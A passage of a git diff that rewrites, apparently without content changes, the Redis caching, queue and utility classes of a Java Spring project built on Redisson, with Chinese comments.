-import org.dromara.common.redis.utils.RedisUtils; -import org.redisson.api.RMap; -import org.redisson.api.RMapCache; -import org.redisson.spring.cache.CacheConfig; -import org.redisson.spring.cache.RedissonCache; -import org.springframework.boot.convert.DurationStyle; -import org.springframework.cache.Cache; -import org.springframework.cache.CacheManager; -import org.springframework.cache.transaction.TransactionAwareCacheDecorator; -import org.springframework.util.StringUtils; - -import java.util.Collection; -import java.util.Collections; -import java.util.Map; -import java.util.concurrent.ConcurrentHashMap; -import java.util.concurrent.ConcurrentMap; - -/** - * A {@link org.springframework.cache.CacheManager} implementation - * backed by Redisson instance. - *

- * 修改 RedissonSpringCacheManager 源码 - * 重写 cacheName 处理方法 支持多参数 - * - * @author Nikita Koksharov - * - */ -@SuppressWarnings("unchecked") -public class PlusSpringCacheManager implements CacheManager { - - private boolean dynamic = true; - - private boolean allowNullValues = true; - - private boolean transactionAware = true; - - Map configMap = new ConcurrentHashMap<>(); - ConcurrentMap instanceMap = new ConcurrentHashMap<>(); - - /** - * Creates CacheManager supplied by Redisson instance - */ - public PlusSpringCacheManager() { - } - - - /** - * Defines possibility of storing {@code null} values. - *

- * Default is true - * - * @param allowNullValues stores if true - */ - public void setAllowNullValues(boolean allowNullValues) { - this.allowNullValues = allowNullValues; - } - - /** - * Defines if cache aware of Spring-managed transactions. - * If {@code true} put/evict operations are executed only for successful transaction in after-commit phase. - *

- * Default is false - * - * @param transactionAware cache is transaction aware if true - */ - public void setTransactionAware(boolean transactionAware) { - this.transactionAware = transactionAware; - } - - /** - * Defines 'fixed' cache names. - * A new cache instance will not be created in dynamic for non-defined names. - *

- * `null` parameter setups dynamic mode - * - * @param names of caches - */ - public void setCacheNames(Collection names) { - if (names != null) { - for (String name : names) { - getCache(name); - } - dynamic = false; - } else { - dynamic = true; - } - } - - /** - * Set cache config mapped by cache name - * - * @param config object - */ - public void setConfig(Map config) { - this.configMap = (Map) config; - } - - protected CacheConfig createDefaultConfig() { - return new CacheConfig(); - } - - @Override - public Cache getCache(String name) { - // 重写 cacheName 支持多参数 - String[] array = StringUtils.delimitedListToStringArray(name, "#"); - name = array[0]; - - Cache cache = instanceMap.get(name); - if (cache != null) { - return cache; - } - if (!dynamic) { - return cache; - } - - CacheConfig config = configMap.get(name); - if (config == null) { - config = createDefaultConfig(); - configMap.put(name, config); - } - - if (array.length > 1) { - config.setTTL(DurationStyle.detectAndParse(array[1]).toMillis()); - } - if (array.length > 2) { - config.setMaxIdleTime(DurationStyle.detectAndParse(array[2]).toMillis()); - } - if (array.length > 3) { - config.setMaxSize(Integer.parseInt(array[3])); - } - - if (config.getMaxIdleTime() == 0 && config.getTTL() == 0 && config.getMaxSize() == 0) { - return createMap(name, config); - } - - return createMapCache(name, config); - } - - private Cache createMap(String name, CacheConfig config) { - RMap map = RedisUtils.getClient().getMap(name); - - Cache cache = new CaffeineCacheDecorator(name, new RedissonCache(map, allowNullValues)); - if (transactionAware) { - cache = new TransactionAwareCacheDecorator(cache); - } - Cache oldCache = instanceMap.putIfAbsent(name, cache); - if (oldCache != null) { - cache = oldCache; - } - return cache; - } - - private Cache createMapCache(String name, CacheConfig config) { - RMapCache map = RedisUtils.getClient().getMapCache(name); - - Cache cache = new CaffeineCacheDecorator(name, new RedissonCache(map, config, allowNullValues)); - if (transactionAware) { - cache = new TransactionAwareCacheDecorator(cache); - } - Cache oldCache = instanceMap.putIfAbsent(name, cache); - if (oldCache != null) { - cache = oldCache; - } else { - map.setMaxSize(config.getMaxSize()); - } - return cache; - } - - @Override - public Collection getCacheNames() { - return Collections.unmodifiableSet(configMap.keySet()); - } - - -} +/** + * Copyright (c) 2013-2021 Nikita Koksharov + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ +package org.dromara.common.redis.manager; + +import org.dromara.common.redis.utils.RedisUtils; +import org.redisson.api.RMap; +import org.redisson.api.RMapCache; +import org.redisson.spring.cache.CacheConfig; +import org.redisson.spring.cache.RedissonCache; +import org.springframework.boot.convert.DurationStyle; +import org.springframework.cache.Cache; +import org.springframework.cache.CacheManager; +import org.springframework.cache.transaction.TransactionAwareCacheDecorator; +import org.springframework.util.StringUtils; + +import java.util.Collection; +import java.util.Collections; +import java.util.Map; +import java.util.concurrent.ConcurrentHashMap; +import java.util.concurrent.ConcurrentMap; + +/** + * A {@link org.springframework.cache.CacheManager} implementation + * backed by Redisson instance. + *

+ * 修改 RedissonSpringCacheManager 源码 + * 重写 cacheName 处理方法 支持多参数 + * + * @author Nikita Koksharov + * + */ +@SuppressWarnings("unchecked") +public class PlusSpringCacheManager implements CacheManager { + + private boolean dynamic = true; + + private boolean allowNullValues = true; + + private boolean transactionAware = true; + + Map configMap = new ConcurrentHashMap<>(); + ConcurrentMap instanceMap = new ConcurrentHashMap<>(); + + /** + * Creates CacheManager supplied by Redisson instance + */ + public PlusSpringCacheManager() { + } + + + /** + * Defines possibility of storing {@code null} values. + *

+ * Default is true + * + * @param allowNullValues stores if true + */ + public void setAllowNullValues(boolean allowNullValues) { + this.allowNullValues = allowNullValues; + } + + /** + * Defines if cache aware of Spring-managed transactions. + * If {@code true} put/evict operations are executed only for successful transaction in after-commit phase. + *

+ * Default is false + * + * @param transactionAware cache is transaction aware if true + */ + public void setTransactionAware(boolean transactionAware) { + this.transactionAware = transactionAware; + } + + /** + * Defines 'fixed' cache names. + * A new cache instance will not be created in dynamic for non-defined names. + *

+ * `null` parameter setups dynamic mode + * + * @param names of caches + */ + public void setCacheNames(Collection names) { + if (names != null) { + for (String name : names) { + getCache(name); + } + dynamic = false; + } else { + dynamic = true; + } + } + + /** + * Set cache config mapped by cache name + * + * @param config object + */ + public void setConfig(Map config) { + this.configMap = (Map) config; + } + + protected CacheConfig createDefaultConfig() { + return new CacheConfig(); + } + + @Override + public Cache getCache(String name) { + // 重写 cacheName 支持多参数 + String[] array = StringUtils.delimitedListToStringArray(name, "#"); + name = array[0]; + + Cache cache = instanceMap.get(name); + if (cache != null) { + return cache; + } + if (!dynamic) { + return cache; + } + + CacheConfig config = configMap.get(name); + if (config == null) { + config = createDefaultConfig(); + configMap.put(name, config); + } + + if (array.length > 1) { + config.setTTL(DurationStyle.detectAndParse(array[1]).toMillis()); + } + if (array.length > 2) { + config.setMaxIdleTime(DurationStyle.detectAndParse(array[2]).toMillis()); + } + if (array.length > 3) { + config.setMaxSize(Integer.parseInt(array[3])); + } + + if (config.getMaxIdleTime() == 0 && config.getTTL() == 0 && config.getMaxSize() == 0) { + return createMap(name, config); + } + + return createMapCache(name, config); + } + + private Cache createMap(String name, CacheConfig config) { + RMap map = RedisUtils.getClient().getMap(name); + + Cache cache = new CaffeineCacheDecorator(name, new RedissonCache(map, allowNullValues)); + if (transactionAware) { + cache = new TransactionAwareCacheDecorator(cache); + } + Cache oldCache = instanceMap.putIfAbsent(name, cache); + if (oldCache != null) { + cache = oldCache; + } + return cache; + } + + private Cache createMapCache(String name, CacheConfig config) { + RMapCache map = RedisUtils.getClient().getMapCache(name); + + Cache cache = new CaffeineCacheDecorator(name, new RedissonCache(map, config, allowNullValues)); + if (transactionAware) { + cache = new TransactionAwareCacheDecorator(cache); + } + Cache oldCache = instanceMap.putIfAbsent(name, cache); + if (oldCache != null) { + cache = oldCache; + } else { + map.setMaxSize(config.getMaxSize()); + } + return cache; + } + + @Override + public Collection getCacheNames() { + return Collections.unmodifiableSet(configMap.keySet()); + } + + +} diff --git a/ruoyi-common/ruoyi-common-redis/src/main/java/org/dromara/common/redis/utils/CacheUtils.java b/ruoyi-common/ruoyi-common-redis/src/main/java/org/dromara/common/redis/utils/CacheUtils.java index 865ffa5..a5184fe 100644 --- a/ruoyi-common/ruoyi-common-redis/src/main/java/org/dromara/common/redis/utils/CacheUtils.java +++ b/ruoyi-common/ruoyi-common-redis/src/main/java/org/dromara/common/redis/utils/CacheUtils.java @@ -1,61 +1,61 @@ -package org.dromara.common.redis.utils; - -import lombok.AccessLevel; -import lombok.NoArgsConstructor; -import org.dromara.common.core.utils.SpringUtils; -import org.springframework.cache.Cache; -import org.springframework.cache.CacheManager; - -/** - * 缓存操作工具类 - * - * @author Michelle.Chung - */ -@NoArgsConstructor(access = AccessLevel.PRIVATE) -@SuppressWarnings(value = {"unchecked"}) -public class CacheUtils { - - private static final CacheManager CACHE_MANAGER = SpringUtils.getBean(CacheManager.class); - - /** - * 获取缓存值 - * - * @param cacheNames 缓存组名称 - * @param key 缓存key - */ - public static T get(String cacheNames, Object key) { - Cache.ValueWrapper wrapper = CACHE_MANAGER.getCache(cacheNames).get(key); - return wrapper != null ? (T) wrapper.get() : null; - } - - /** - * 保存缓存值 - * - * @param cacheNames 缓存组名称 - * @param key 缓存key - * @param value 缓存值 - */ - public static void put(String cacheNames, Object key, Object value) { - CACHE_MANAGER.getCache(cacheNames).put(key, value); - } - - /** - * 删除缓存值 - * - * @param cacheNames 缓存组名称 - * @param key 缓存key - */ - public static void evict(String cacheNames, Object key) { - CACHE_MANAGER.getCache(cacheNames).evict(key); - } - - /** - * 清空缓存值 - * - * @param cacheNames 缓存组名称 - */ - public static void clear(String cacheNames) { - CACHE_MANAGER.getCache(cacheNames).clear(); - } - -} +package org.dromara.common.redis.utils; + +import lombok.AccessLevel; +import lombok.NoArgsConstructor; +import org.dromara.common.core.utils.SpringUtils; +import org.springframework.cache.Cache; +import org.springframework.cache.CacheManager; + +/** + * 缓存操作工具类 + * + * @author Michelle.Chung + */ +@NoArgsConstructor(access = AccessLevel.PRIVATE) +@SuppressWarnings(value = {"unchecked"}) +public class CacheUtils { + + private static final CacheManager CACHE_MANAGER = SpringUtils.getBean(CacheManager.class); + + /** + * 获取缓存值 + * + * @param cacheNames 缓存组名称 + * @param key 缓存key + */ + public static T get(String cacheNames, Object key) { + Cache.ValueWrapper wrapper = CACHE_MANAGER.getCache(cacheNames).get(key); + return wrapper != null ? (T) wrapper.get() : null; + } + + /** + * 保存缓存值 + * + * @param cacheNames 缓存组名称 + * @param key 缓存key + * @param value 缓存值 + */ + public static void put(String cacheNames, Object key, Object value) { + CACHE_MANAGER.getCache(cacheNames).put(key, value); + } + + /** + * 删除缓存值 + * + * @param cacheNames 缓存组名称 + * @param key 缓存key + */ + public static void evict(String cacheNames, Object key) { + CACHE_MANAGER.getCache(cacheNames).evict(key); + } + + /** + * 清空缓存值 + * + * @param cacheNames 缓存组名称 + */ + public static void clear(String cacheNames) { + CACHE_MANAGER.getCache(cacheNames).clear(); + } + +} diff --git a/ruoyi-common/ruoyi-common-redis/src/main/java/org/dromara/common/redis/utils/QueueUtils.java b/ruoyi-common/ruoyi-common-redis/src/main/java/org/dromara/common/redis/utils/QueueUtils.java index 7c09e31..1565bca 100644 --- a/ruoyi-common/ruoyi-common-redis/src/main/java/org/dromara/common/redis/utils/QueueUtils.java +++ b/ruoyi-common/ruoyi-common-redis/src/main/java/org/dromara/common/redis/utils/QueueUtils.java @@ -1,237 +1,237 @@ -package org.dromara.common.redis.utils; - -import lombok.AccessLevel; -import lombok.NoArgsConstructor; -import org.dromara.common.core.utils.SpringUtils; -import org.redisson.api.*; - -import java.util.concurrent.CompletionStage; -import java.util.concurrent.TimeUnit; -import java.util.function.Function; - -/** - * 分布式队列工具 - * 轻量级队列 重量级数据量 请使用 MQ - * 要求 redis 5.X 以上 - * - * @author Lion Li - * @version 3.6.0 新增 - */ -@NoArgsConstructor(access = AccessLevel.PRIVATE) -public class QueueUtils { - - private static final RedissonClient CLIENT = SpringUtils.getBean(RedissonClient.class); - - - /** - * 获取客户端实例 - */ - public static RedissonClient getClient() { - return CLIENT; - } - - /** - * 添加普通队列数据 - * - * @param queueName 队列名 - * @param data 数据 - */ - public static boolean addQueueObject(String queueName, T data) { - RBlockingQueue queue = CLIENT.getBlockingQueue(queueName); - return queue.offer(data); - } - - /** - * 通用获取一个队列数据 没有数据返回 null(不支持延迟队列) - * - * @param queueName 队列名 - */ - public static T getQueueObject(String queueName) { - RBlockingQueue queue = CLIENT.getBlockingQueue(queueName); - return queue.poll(); - } - - /** - * 通用删除队列数据(不支持延迟队列) - */ - public static boolean removeQueueObject(String queueName, T data) { - RBlockingQueue queue = CLIENT.getBlockingQueue(queueName); - return queue.remove(data); - } - - /** - * 通用销毁队列 所有阻塞监听 报错(不支持延迟队列) - */ - public static boolean destroyQueue(String queueName) { - RBlockingQueue queue = CLIENT.getBlockingQueue(queueName); - return queue.delete(); - } - - /** - * 添加延迟队列数据 默认毫秒 - * - * @param queueName 队列名 - * @param data 数据 - * @param time 延迟时间 - */ - public static void addDelayedQueueObject(String queueName, T data, long time) { - addDelayedQueueObject(queueName, data, time, TimeUnit.MILLISECONDS); - } - - /** - * 添加延迟队列数据 - * - * @param queueName 队列名 - * @param data 数据 - * @param time 延迟时间 - * @param timeUnit 单位 - */ - public static void addDelayedQueueObject(String queueName, T data, long time, TimeUnit timeUnit) { - RBlockingQueue queue = CLIENT.getBlockingQueue(queueName); - RDelayedQueue delayedQueue = CLIENT.getDelayedQueue(queue); - delayedQueue.offer(data, time, timeUnit); - } - - /** - * 获取一个延迟队列数据 没有数据返回 null - * - * @param queueName 队列名 - */ - public static T getDelayedQueueObject(String queueName) { - RBlockingQueue queue = CLIENT.getBlockingQueue(queueName); - RDelayedQueue delayedQueue = CLIENT.getDelayedQueue(queue); - return delayedQueue.poll(); - } - - /** - * 删除延迟队列数据 - */ - public static boolean removeDelayedQueueObject(String queueName, T data) { - RBlockingQueue queue = CLIENT.getBlockingQueue(queueName); - RDelayedQueue delayedQueue = CLIENT.getDelayedQueue(queue); - return delayedQueue.remove(data); - } - - /** - * 销毁延迟队列 所有阻塞监听 报错 - */ - public static void destroyDelayedQueue(String queueName) { - RBlockingQueue queue = CLIENT.getBlockingQueue(queueName); - RDelayedQueue delayedQueue = CLIENT.getDelayedQueue(queue); - delayedQueue.destroy(); - } - - /** - * 添加优先队列数据 - * - * @param queueName 队列名 - * @param data 数据 - */ - public static boolean addPriorityQueueObject(String queueName, T data) { - RPriorityBlockingQueue priorityBlockingQueue = CLIENT.getPriorityBlockingQueue(queueName); - return priorityBlockingQueue.offer(data); - } - - /** - * 优先队列获取一个队列数据 没有数据返回 null(不支持延迟队列) - * - * @param queueName 队列名 - */ - public static T getPriorityQueueObject(String queueName) { - RPriorityBlockingQueue queue = CLIENT.getPriorityBlockingQueue(queueName); - return queue.poll(); - } - - /** - * 优先队列删除队列数据(不支持延迟队列) - */ - public static boolean removePriorityQueueObject(String queueName, T data) { - RPriorityBlockingQueue queue = CLIENT.getPriorityBlockingQueue(queueName); - return queue.remove(data); - } - - /** - * 优先队列销毁队列 所有阻塞监听 报错(不支持延迟队列) - */ - public static boolean destroyPriorityQueue(String queueName) { - RPriorityBlockingQueue queue = CLIENT.getPriorityBlockingQueue(queueName); - return queue.delete(); - } - - /** - * 尝试设置 有界队列 容量 用于限制数量 - * - * @param queueName 队列名 - * @param capacity 容量 - */ - public static boolean trySetBoundedQueueCapacity(String queueName, int capacity) { - RBoundedBlockingQueue boundedBlockingQueue = CLIENT.getBoundedBlockingQueue(queueName); - return boundedBlockingQueue.trySetCapacity(capacity); - } - - /** - * 尝试设置 有界队列 容量 用于限制数量 - * - * @param queueName 队列名 - * @param capacity 容量 - * @param destroy 是否销毁 - */ - public static boolean trySetBoundedQueueCapacity(String queueName, int capacity, boolean destroy) { - RBoundedBlockingQueue boundedBlockingQueue = CLIENT.getBoundedBlockingQueue(queueName); - if (destroy) { - boundedBlockingQueue.delete(); - } - return boundedBlockingQueue.trySetCapacity(capacity); - } - - /** - * 添加有界队列数据 - * - * @param queueName 队列名 - * @param data 数据 - * @return 添加成功 true 已达到界限 false - */ - public static boolean addBoundedQueueObject(String queueName, T data) { - RBoundedBlockingQueue boundedBlockingQueue = CLIENT.getBoundedBlockingQueue(queueName); - return boundedBlockingQueue.offer(data); - } - - /** - * 有界队列获取一个队列数据 没有数据返回 null(不支持延迟队列) - * - * @param queueName 队列名 - */ - public static T getBoundedQueueObject(String queueName) { - RBoundedBlockingQueue queue = CLIENT.getBoundedBlockingQueue(queueName); - return queue.poll(); - } - - /** - * 有界队列删除队列数据(不支持延迟队列) - */ - public static boolean removeBoundedQueueObject(String queueName, T data) { - RBoundedBlockingQueue queue = CLIENT.getBoundedBlockingQueue(queueName); - return queue.remove(data); - } - - /** - * 有界队列销毁队列 所有阻塞监听 报错(不支持延迟队列) - */ - public static boolean destroyBoundedQueue(String queueName) { - RBoundedBlockingQueue queue = CLIENT.getBoundedBlockingQueue(queueName); - return queue.delete(); - } - - /** - * 订阅阻塞队列(可订阅所有实现类 例如: 延迟 优先 有界 等) - */ - public static void subscribeBlockingQueue(String queueName, Function> consumer, boolean isDelayed) { - RBlockingQueue queue = CLIENT.getBlockingQueue(queueName); - if (isDelayed) { - // 订阅延迟队列 - CLIENT.getDelayedQueue(queue); - } - queue.subscribeOnElements(consumer); - } - -} +package org.dromara.common.redis.utils; + +import lombok.AccessLevel; +import lombok.NoArgsConstructor; +import org.dromara.common.core.utils.SpringUtils; +import org.redisson.api.*; + +import java.util.concurrent.CompletionStage; +import java.util.concurrent.TimeUnit; +import java.util.function.Function; + +/** + * 分布式队列工具 + * 轻量级队列 重量级数据量 请使用 MQ + * 要求 redis 5.X 以上 + * + * @author Lion Li + * @version 3.6.0 新增 + */ +@NoArgsConstructor(access = AccessLevel.PRIVATE) +public class QueueUtils { + + private static final RedissonClient CLIENT = SpringUtils.getBean(RedissonClient.class); + + + /** + * 获取客户端实例 + */ + public static RedissonClient getClient() { + return CLIENT; + } + + /** + * 添加普通队列数据 + * + * @param queueName 队列名 + * @param data 数据 + */ + public static boolean addQueueObject(String queueName, T data) { + RBlockingQueue queue = CLIENT.getBlockingQueue(queueName); + return queue.offer(data); + } + + /** + * 通用获取一个队列数据 没有数据返回 null(不支持延迟队列) + * + * @param queueName 队列名 + */ + public static T getQueueObject(String queueName) { + RBlockingQueue queue = CLIENT.getBlockingQueue(queueName); + return queue.poll(); + } + + /** + * 通用删除队列数据(不支持延迟队列) + */ + public static boolean removeQueueObject(String queueName, T data) { + RBlockingQueue queue = CLIENT.getBlockingQueue(queueName); + return queue.remove(data); + } + + /** + * 通用销毁队列 所有阻塞监听 报错(不支持延迟队列) + */ + public static boolean destroyQueue(String queueName) { + RBlockingQueue queue = CLIENT.getBlockingQueue(queueName); + return queue.delete(); + } + + /** + * 添加延迟队列数据 默认毫秒 + * + * @param queueName 队列名 + * @param data 数据 + * @param time 延迟时间 + */ + public static void addDelayedQueueObject(String queueName, T data, long time) { + addDelayedQueueObject(queueName, data, time, TimeUnit.MILLISECONDS); + } + + /** + * 添加延迟队列数据 + * + * @param queueName 队列名 + * @param data 数据 + * @param time 延迟时间 + * @param timeUnit 单位 + */ + public static void addDelayedQueueObject(String queueName, T data, long time, TimeUnit timeUnit) { + RBlockingQueue queue = CLIENT.getBlockingQueue(queueName); + RDelayedQueue delayedQueue = CLIENT.getDelayedQueue(queue); + delayedQueue.offer(data, time, timeUnit); + } + + /** + * 获取一个延迟队列数据 没有数据返回 null + * + * @param queueName 队列名 + */ + public static T getDelayedQueueObject(String queueName) { + RBlockingQueue queue = CLIENT.getBlockingQueue(queueName); + RDelayedQueue delayedQueue = CLIENT.getDelayedQueue(queue); + return delayedQueue.poll(); + } + + /** + * 删除延迟队列数据 + */ + public static boolean removeDelayedQueueObject(String queueName, T data) { + RBlockingQueue queue = CLIENT.getBlockingQueue(queueName); + RDelayedQueue delayedQueue = CLIENT.getDelayedQueue(queue); + return delayedQueue.remove(data); + } + + /** + * 销毁延迟队列 所有阻塞监听 报错 + */ + public static void destroyDelayedQueue(String queueName) { + RBlockingQueue queue = CLIENT.getBlockingQueue(queueName); + RDelayedQueue delayedQueue = CLIENT.getDelayedQueue(queue); + delayedQueue.destroy(); + } + + /** + * 添加优先队列数据 + * + * @param queueName 队列名 + * @param data 数据 + */ + public static boolean addPriorityQueueObject(String queueName, T data) { + RPriorityBlockingQueue priorityBlockingQueue = CLIENT.getPriorityBlockingQueue(queueName); + return priorityBlockingQueue.offer(data); + } + + /** + * 优先队列获取一个队列数据 没有数据返回 null(不支持延迟队列) + * + * @param queueName 队列名 + */ + public static T getPriorityQueueObject(String queueName) { + RPriorityBlockingQueue queue = CLIENT.getPriorityBlockingQueue(queueName); + return queue.poll(); + } + + /** + * 优先队列删除队列数据(不支持延迟队列) + */ + public static boolean removePriorityQueueObject(String queueName, T data) { + RPriorityBlockingQueue queue = CLIENT.getPriorityBlockingQueue(queueName); + return queue.remove(data); + } + + /** + * 优先队列销毁队列 所有阻塞监听 报错(不支持延迟队列) + */ + public static boolean destroyPriorityQueue(String queueName) { + RPriorityBlockingQueue queue = CLIENT.getPriorityBlockingQueue(queueName); + return queue.delete(); + } + + /** + * 尝试设置 有界队列 容量 用于限制数量 + * + * @param queueName 队列名 + * @param capacity 容量 + */ + public static boolean trySetBoundedQueueCapacity(String queueName, int capacity) { + RBoundedBlockingQueue boundedBlockingQueue = CLIENT.getBoundedBlockingQueue(queueName); + return boundedBlockingQueue.trySetCapacity(capacity); + } + + /** + * 尝试设置 有界队列 容量 用于限制数量 + * + * @param queueName 队列名 + * @param capacity 容量 + * @param destroy 是否销毁 + */ + public static boolean trySetBoundedQueueCapacity(String queueName, int capacity, boolean destroy) { + RBoundedBlockingQueue boundedBlockingQueue = CLIENT.getBoundedBlockingQueue(queueName); + if (destroy) { + boundedBlockingQueue.delete(); + } + return boundedBlockingQueue.trySetCapacity(capacity); + } + + /** + * 添加有界队列数据 + * + * @param queueName 队列名 + * @param data 数据 + * @return 添加成功 true 已达到界限 false + */ + public static boolean addBoundedQueueObject(String queueName, T data) { + RBoundedBlockingQueue boundedBlockingQueue = CLIENT.getBoundedBlockingQueue(queueName); + return boundedBlockingQueue.offer(data); + } + + /** + * 有界队列获取一个队列数据 没有数据返回 null(不支持延迟队列) + * + * @param queueName 队列名 + */ + public static T getBoundedQueueObject(String queueName) { + RBoundedBlockingQueue queue = CLIENT.getBoundedBlockingQueue(queueName); + return queue.poll(); + } + + /** + * 有界队列删除队列数据(不支持延迟队列) + */ + public static boolean removeBoundedQueueObject(String queueName, T data) { + RBoundedBlockingQueue queue = CLIENT.getBoundedBlockingQueue(queueName); + return queue.remove(data); + } + + /** + * 有界队列销毁队列 所有阻塞监听 报错(不支持延迟队列) + */ + public static boolean destroyBoundedQueue(String queueName) { + RBoundedBlockingQueue queue = CLIENT.getBoundedBlockingQueue(queueName); + return queue.delete(); + } + + /** + * 订阅阻塞队列(可订阅所有实现类 例如: 延迟 优先 有界 等) + */ + public static void subscribeBlockingQueue(String queueName, Function> consumer, boolean isDelayed) { + RBlockingQueue queue = CLIENT.getBlockingQueue(queueName); + if (isDelayed) { + // 订阅延迟队列 + CLIENT.getDelayedQueue(queue); + } + queue.subscribeOnElements(consumer); + } + +} diff --git a/ruoyi-common/ruoyi-common-redis/src/main/java/org/dromara/common/redis/utils/RedisUtils.java b/ruoyi-common/ruoyi-common-redis/src/main/java/org/dromara/common/redis/utils/RedisUtils.java index b967695..138165b 100644 --- a/ruoyi-common/ruoyi-common-redis/src/main/java/org/dromara/common/redis/utils/RedisUtils.java +++ b/ruoyi-common/ruoyi-common-redis/src/main/java/org/dromara/common/redis/utils/RedisUtils.java @@ -1,586 +1,586 @@ -package org.dromara.common.redis.utils; - -import lombok.AccessLevel; -import lombok.NoArgsConstructor; -import org.dromara.common.core.utils.SpringUtils; -import org.redisson.api.*; -import org.redisson.api.options.KeysScanOptions; - -import java.time.Duration; -import java.util.Collection; -import java.util.List; -import java.util.Map; -import java.util.Set; -import java.util.function.Consumer; -import java.util.stream.Collectors; -import java.util.stream.Stream; - -/** - * redis 工具类 - * - * @author Lion Li - * @version 3.1.0 新增 - */ -@NoArgsConstructor(access = AccessLevel.PRIVATE) -@SuppressWarnings(value = {"unchecked", "rawtypes"}) -public class RedisUtils { - - private static final RedissonClient CLIENT = SpringUtils.getBean(RedissonClient.class); - - /** - * 限流 - * - * @param key 限流key - * @param rateType 限流类型 - * @param rate 速率 - * @param rateInterval 速率间隔 - * @return -1 表示失败 - */ - public static long rateLimiter(String key, RateType rateType, int rate, int rateInterval) { - return rateLimiter(key, rateType, rate, rateInterval, 0); - } - - /** - * 限流 - * - * @param key 限流key - * @param rateType 限流类型 - * @param rate 速率 - * @param rateInterval 速率间隔 - * @param timeout 超时时间 - * @return -1 表示失败 - */ - public static long rateLimiter(String key, RateType rateType, int rate, int rateInterval, int timeout) { - RRateLimiter rateLimiter = CLIENT.getRateLimiter(key); - rateLimiter.trySetRate(rateType, rate, Duration.ofSeconds(rateInterval), Duration.ofSeconds(timeout)); - if (rateLimiter.tryAcquire()) { - return rateLimiter.availablePermits(); - } else { - return -1L; - } - } - - /** - * 获取客户端实例 - */ - public static RedissonClient getClient() { - return CLIENT; - } - - /** - * 发布通道消息 - * - * @param channelKey 通道key - * @param msg 发送数据 - * @param consumer 自定义处理 - */ - public static void publish(String channelKey, T msg, Consumer consumer) { - RTopic topic = CLIENT.getTopic(channelKey); - topic.publish(msg); - consumer.accept(msg); - } - - /** - * 发布消息到指定的频道 - * - * @param channelKey 通道key - * @param msg 发送数据 - */ - public static void publish(String channelKey, T msg) { - RTopic topic = CLIENT.getTopic(channelKey); - topic.publish(msg); - } - - /** - * 订阅通道接收消息 - * - * @param channelKey 通道key - * @param clazz 消息类型 - * @param consumer 自定义处理 - */ - public static void subscribe(String channelKey, Class clazz, Consumer consumer) { - RTopic topic = CLIENT.getTopic(channelKey); - topic.addListener(clazz, (channel, msg) -> consumer.accept(msg)); - } - - /** - * 缓存基本的对象,Integer、String、实体类等 - * - * @param key 缓存的键值 - * @param value 缓存的值 - */ - public static void setCacheObject(final String key, final T value) { - setCacheObject(key, value, false); - } - - /** - * 缓存基本的对象,保留当前对象 TTL 有效期 - * - * @param key 缓存的键值 - * @param value 缓存的值 - * @param isSaveTtl 是否保留TTL有效期(例如: set之前ttl剩余90 set之后还是为90) - * @since Redis 6.X 以上使用 setAndKeepTTL 兼容 5.X 方案 - */ - public static void setCacheObject(final String key, final T value, final boolean isSaveTtl) { - RBucket bucket = CLIENT.getBucket(key); - if (isSaveTtl) { - try { - bucket.setAndKeepTTL(value); - } catch (Exception e) { - long timeToLive = bucket.remainTimeToLive(); - if (timeToLive == -1) { - setCacheObject(key, value); - } else { - setCacheObject(key, value, Duration.ofMillis(timeToLive)); - } - } - } else { - bucket.set(value); - } - } - - /** - * 缓存基本的对象,Integer、String、实体类等 - * - * @param key 缓存的键值 - * @param value 缓存的值 - * @param duration 时间 - */ - public static void setCacheObject(final String key, final T value, final Duration duration) { - RBatch batch = CLIENT.createBatch(); - RBucketAsync bucket = batch.getBucket(key); - bucket.setAsync(value); - bucket.expireAsync(duration); - batch.execute(); - } - - /** - * 如果不存在则设置 并返回 true 如果存在则返回 false - * - * @param key 缓存的键值 - * @param value 缓存的值 - * @return set成功或失败 - */ - public static boolean setObjectIfAbsent(final String key, final T value, final Duration duration) { - RBucket bucket = CLIENT.getBucket(key); - return bucket.setIfAbsent(value, duration); - } - - /** - * 如果存在则设置 并返回 true 如果存在则返回 false - * - * @param key 缓存的键值 - * @param value 缓存的值 - * @return set成功或失败 - */ - public static boolean setObjectIfExists(final String key, final T value, final Duration duration) { - RBucket bucket = CLIENT.getBucket(key); - return bucket.setIfExists(value, duration); - } - - /** - * 注册对象监听器 - *

- * key 监听器需开启 `notify-keyspace-events` 等 redis 相关配置 - * - * @param key 缓存的键值 - * @param listener 监听器配置 - */ - public static void addObjectListener(final String key, final ObjectListener listener) { - RBucket result = CLIENT.getBucket(key); - result.addListener(listener); - } - - /** - * 设置有效时间 - * - * @param key Redis键 - * @param timeout 超时时间 - * @return true=设置成功;false=设置失败 - */ - public static boolean expire(final String key, final long timeout) { - return expire(key, Duration.ofSeconds(timeout)); - } - - /** - * 设置有效时间 - * - * @param key Redis键 - * @param duration 超时时间 - * @return true=设置成功;false=设置失败 - */ - public static boolean expire(final String key, final Duration duration) { - RBucket rBucket = CLIENT.getBucket(key); - return rBucket.expire(duration); - } - - /** - * 获得缓存的基本对象。 - * - * @param key 缓存键值 - * @return 缓存键值对应的数据 - */ - public static T getCacheObject(final String key) { - RBucket rBucket = CLIENT.getBucket(key); - return rBucket.get(); - } - - /** - * 获得key剩余存活时间 - * - * @param key 缓存键值 - * @return 剩余存活时间 - */ - public static long getTimeToLive(final String key) { - RBucket rBucket = CLIENT.getBucket(key); - return rBucket.remainTimeToLive(); - } - - /** - * 删除单个对象 - * - * @param key 缓存的键值 - */ - public static boolean deleteObject(final String key) { - return CLIENT.getBucket(key).delete(); - } - - /** - * 删除集合对象 - * - * @param collection 多个对象 - */ - public static void deleteObject(final Collection collection) { - RBatch batch = CLIENT.createBatch(); - collection.forEach(t -> { - batch.getBucket(t.toString()).deleteAsync(); - }); - batch.execute(); - } - - /** - * 检查缓存对象是否存在 - * - * @param key 缓存的键值 - */ - public static boolean isExistsObject(final String key) { - return CLIENT.getBucket(key).isExists(); - } - - /** - * 缓存List数据 - * - * @param key 缓存的键值 - * @param dataList 待缓存的List数据 - * @return 缓存的对象 - */ - public static boolean setCacheList(final String key, final List dataList) { - RList rList = CLIENT.getList(key); - return rList.addAll(dataList); - } - - /** - * 追加缓存List数据 - * - * @param key 缓存的键值 - * @param data 待缓存的数据 - * @return 缓存的对象 - */ - public static boolean addCacheList(final String key, final T data) { - RList 